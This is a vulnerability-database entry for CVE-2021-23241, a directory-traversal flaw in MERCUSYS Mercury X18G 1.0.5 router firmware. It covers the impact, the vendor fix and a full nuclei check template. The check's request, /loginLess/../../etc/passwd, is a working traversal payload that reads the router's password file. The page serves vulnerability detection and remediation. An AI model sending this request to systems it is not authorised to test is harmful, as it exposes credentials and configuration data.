HexBrain

Browse / CVEs / CVE-2021-23241

CVE-2021-23241· mercusys / mercury x18g firmware· CWE-22

MERCUSYS Mercury X18G 1.0.5 Router - Local File Inclusion

mediumseverity
5.3CVSS score
12.8%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

MERCUSYS Mercury X18G 1.0.5 devices are vulnerable to local file inclusion via ../ in conjunction with a loginLess or login.htm URI (for authentication bypass) to the web server, as demonstrated by the /loginLess/../../etc/passwd URI.

Impact

An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the router.

Fix

Apply the latest firmware update provided by the vendor to fix the LFI vulnerability and ensure proper input validation is implemented.

How to confirm it

Send: GET {{BaseURL}}/loginLess/../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-23241 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-23241

info:
  name: MERCUSYS Mercury X18G 1.0.5 Router - Local File Inclusion
  author: daffainfo
  severity: medium
  description: MERCUSYS Mercury X18G 1.0.5 devices are vulnerable to local file inclusion via ../ in conjunction with a loginLess or login.htm URI (for authentication bypass) to the web server, as demonstrated by the /loginLess/../../etc/passwd URI.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the router.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the LFI vulnerability and ensure proper input validation is implemented.
  reference:
    - https://github.com/BATTZION/MY_REQUEST/blob/master/Mercury%20Router%20Web%20Server%20Directory%20Traversal.md
    - https://www.mercusys.com/en/
    - https://www.mercurycom.com.cn/product-521-1.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-23241
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-23241
    cwe-id: CWE-22
    epss-score: 0.12825
    epss-percentile: 0.96324
    cpe: cpe:2.3:o:mercusys:mercury_x18g_firmware:1.0.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mercusys
    product: mercury_x18g_firmware
  tags: cve2021,cve,iot,lfi,router,mercusys,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/loginLess/../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from